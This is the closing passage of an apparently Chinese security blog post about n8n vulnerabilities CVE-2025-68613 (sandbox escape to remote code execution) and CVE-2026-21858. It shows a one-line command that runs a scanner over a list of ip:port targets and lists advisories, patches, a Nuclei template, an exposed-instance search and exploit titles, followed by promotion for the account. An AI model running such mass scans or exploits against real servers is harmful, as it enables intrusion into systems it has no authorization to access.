准备一个 target.txt,每行一个 http://ip:port。
1python .\scan_n8n.py -f .\target.txt -t 20

🔗 参考资源
官方公告
https://www.cve.org/CVERecord?id=CVE-2025-68613 https://www.cve.org/CVERecord?id=CVE-2026-21858
技术分析
- https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79
- https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000
- https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
- Cyera Research - Ni8mare Full Write-up - Original research by Dor Attias
- GHSA-v4pr-fm98-w9pg - CVE-2026-21858
- GHSA-v98v-ff95-f3cp - CVE-2025-68613
- Nuclei Template CVE-2025-68613
- LeakIX Search Results - Exposed vulnerable instances
- Formidable - “The library, not the song” (thanks Cyera for the laugh)
PoC/Exploit
n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613 CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


